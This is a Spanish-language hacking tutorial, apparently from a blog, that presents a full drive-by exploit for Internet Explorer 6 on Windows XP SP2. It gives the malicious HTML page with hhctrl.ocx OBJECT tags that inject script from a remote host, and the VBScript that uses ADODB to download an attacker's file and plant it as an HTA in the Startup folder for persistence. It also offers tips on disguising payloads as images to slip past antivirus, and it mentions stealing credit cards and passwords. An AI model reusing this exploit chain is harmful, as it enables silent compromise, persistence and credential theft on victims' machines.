Cómo ser un hacker - Apropiandonos de un Windows XP

Un hack que está de moda es un hoyo crítico de seguridad en el IE 6 de Windows XP, este hoyo está presente incluso si se tiene el Service Pack 2 y afecta tanto a la versión Home, como la "Professional" (Microsoft gastó cientos de millones en el SP2 pero al parecer de poco sirvió). Fijate en la siguiente página sp2rc.html:

<OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\---PCHealth\HelpCtr\System\blurbs\tools.htm">---</OBJECT>

---

<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write(\"<script language=\\\"vbscript\\\"
src=\\\"http://www.mononeurona.org/writehta.txt\\\"\" +String.fromCharCode(62)+\"
</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>

---

<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
El objeto id: localpage (que posee un formato de extensión de los archivos de ayuda de Windows) le dice a hhctrl.ocx que abrá una ventana de ayuda para C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm (un archivo normal del sistema que está en todos los Windows XP).

El segundo objecto id: inject llama al script hospedado en www.mononeurona.org/writehta.txt que inyecta el código remoto de este archivo, haciendo un XSS típico. El archivo writehta.txt contiene instrucciones maliciosas para crear un objeto ADODB.Connection:

---

Dim Conn, rs Set Conn = CreateObject("ADODB.Connection") Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _ "Dbq=http://www.mononeurona.org;" & _ "Extensions=asc,csv,tab,txt;" & _ "Persist Security Info=False" Dim sql sql = "SELECT * from foobar.txt" set rs = conn.execute(sql) set rs =CreateObject("ADODB.recordset") rs.Open "SELECT * from foobar.txt", conn rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ Microsoft Office.hta", adPersistXML rs.close conn.close window.close

---

Este archivo es usado para ejecutar un query SQL: sql = "SELECT * from foobar.txt", donde foobar.txt es hospedado en el servidor FTP del atacante (el cual está configurado para permitir el acceso anónimo). El resultado del query se salva en el archivo C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta.

El objeto ADODB y el archivo foobar.txt también pueden ejecutarse colocándolos escondidos como si fuesen una imagen: <img id="dyn" src="malwarez6.mcb" border="0"> todos los antivirus están configurado para no escanear los archivos de imágenes de modo que podemos colarnos con facilidad al sistema.

Practicamente no hay límites en lo que uno puede guardar en este archivo hta y además, como se guarda en el menú "All Users" se ejecuta cada vez que un usuario se logea en Windows XP. Por supuesto lo primero que una persona maliciosa haría sería buscar los números de tarjetas de crédito y los password de todo el sistema ¡Gracias Microsoft!

Y todo esto lo hemos hecho sin que el usuario tuviese que recibir un email o apretar un botón, simplemente entrando a la página sp2rc.html. Miles de páginas en Internet tienen este código y si usted usa Internet Explorer 6 para navegar seguramente ya tiene el archivo hta en su disco pues los antivirus no lo detectan. Como digo, este código está muy de moda, y al parecer no habrá parche hasta finales del 2005. Los que usan Mozilla-Firefox en XP están a salvo, pues este código no les afecta ;-). De cualquier manera si se ve a obligado a usar Windows XP por la necesidad de usar CorelDraw o Autocad no navegue en este sistema operativo. Al terminar de usar ese programa, bootee a Linux (porque tiene Linux ¿verdad?) y desde ahí navegue, consulte su email y use Messenger.